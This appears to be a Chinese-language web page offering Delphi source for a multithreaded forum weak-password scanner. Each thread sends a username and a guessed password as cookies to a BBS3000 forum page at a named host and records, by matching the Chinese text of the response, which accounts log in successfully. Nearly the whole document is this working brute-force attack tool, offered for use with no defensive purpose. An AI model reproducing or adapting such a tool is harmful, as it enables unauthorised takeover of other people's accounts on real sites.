多线程扫描论坛弱口令(delphi源码)

interface

uses
  Classes,Idhttp,IdHeaderList,SysUtils;

type
  TGetUnserPsd = class(TThread)
  private
    { Private declarations }
  protected
    UN,pW:STRING;
    uid:integer;
    idp:TidHttp;
    HttpHead:TidHeaderList;
    procedure Execute; override;
  public
    Constructor Create(UserName:string;id:integer);
    Destructor Destroy; override;
  end;

implementation

uses UtMain;

{ Important: Methods and properties of objects in visual components can only be
  used in a method called using Synchronize, for example,

      Synchronize(UpdateCaption);

  and UpdateCaption could look like,

    procedure TGetUnserPsd.UpdateCaption;
    begin
      Form1.Caption := 'Updated in a thread';
    end; }

{ TGetUnserPsd }

constructor TgetUnserPsd.Create(Username:string;id:integer);
begin
  uid:=id;
  un:=username;
  idp:=Tidhttp.Create(nil);
  httpHead:=TidHeaderList.Create;
  inherited Create(false);
end;

destructor TgetUnserPsd.Destroy;
begin
  idp.Free;
  httphead.Free;
  inherited destroy;
end;

procedure TGetUnserPsd.Execute;
var
html:string;
begin
  freeonterminate:=true;
  httpHead.Text:='cookie: nowtime=20060131210233; cometime=21_02_05__21_02_05_0Content-type: text/html; clicks=20060131172355; style=; lasttxt=20060131122028; username='+
                un+'; password='+FmMain.Edit1.text+'; xuansave=; estate=; line=; qmh=; bgcolor=';
  idp.Request.CustomHeaders:=Httphead;
  try
    html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi'); //偿试打开骞马页面，如密码正确则能正常打开
  except
    try
      sleep(300);
      html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi');
    except
      FmMain.Memo5.Lines.Add(IntToStr(uid)+'  '+un+'  idhttp打开网页失败');
      Destroy;
      exit;
    end;
  end;
  if pos('出错提示',html)>0 then
  begin
    FmMain.Memo4.Lines.Add(IntToStr(uid)+'  '+un+'  登录失败');
  end
  else
  begin
    if pos('赛马中心',html)>0 then
    begin
      FmMain.Memo6.Lines.Add(IntToStr(uid)+'  '+un+'  登录成功');
    end
    else
      FmMain.Memo5.Lines.Add(IntToStr(uid)+'  '+un+'  返回未知');
  end;
    Destroy;
  { Place thread code here }
end;

end.

上一页  [1] [2] [3] [4] [5] 下一页